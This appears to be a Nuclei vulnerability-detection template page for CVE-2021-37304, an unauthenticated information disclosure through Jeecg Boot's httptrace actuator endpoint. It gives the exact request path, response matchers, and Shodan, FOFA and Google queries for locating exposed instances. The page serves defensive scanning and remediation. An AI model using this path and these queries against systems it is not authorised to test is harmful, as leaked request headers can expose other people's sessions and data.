Jeecg Boot <= 2.4.5 - Information Disclosure

ID: CVE-2021-37304

Severity: high

Author: ritikchaddha

Tags: cve2021,cve,jeecg,exposure

Description

An Insecure Permissions issue in jeecg-boot 2.4.5 allows unauthenticated remote attackers to gain escalated privilege and view sensitive information via the httptrace interface.

YAML Source

id: CVE-2021-37304

info:
  name: Jeecg Boot <= 2.4.5 - Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    An Insecure Permissions issue in jeecg-boot 2.4.5 allows unauthenticated remote attackers to gain escalated privilege and view sensitive information via the httptrace interface.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the application.
  remediation: |
    Upgrade Jeecg Boot to a version higher than 2.4.5 to mitigate the vulnerability.
  reference:
    - https://github.com/jeecgboot/jeecg-boot/issues/2793
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37304
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-37304
    cwe-id: CWE-732
    epss-score: 0.00703
    epss-percentile: 0.80284
    cpe: cpe:2.3:a:jeecg:jeecg:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jeecg
    product: jeecg
    shodan-query:
      - title:"Jeecg-Boot"
      - http.title:"jeecg-boot"
    fofa-query:
      - title="JeecgBoot 企业级低代码平台"
      - title="jeecg-boot"
      - title="jeecgboot 企业级低代码平台"
    google-query: intitle:"jeecg-boot"
  tags: cve2021,cve,jeecg,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/jeecg-boot/actuator/httptrace/"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"traces":['
          - '"headers"'
          - '"request":{'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220114e51c9afb26c3476014c1e2ae5f874884ab4769876a070645f58435b102477022024769b8d70a39e820a45e846fe0e88882407a6491dd4d61615c6c65dc4cb7ba0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-37304.yaml"

View on Github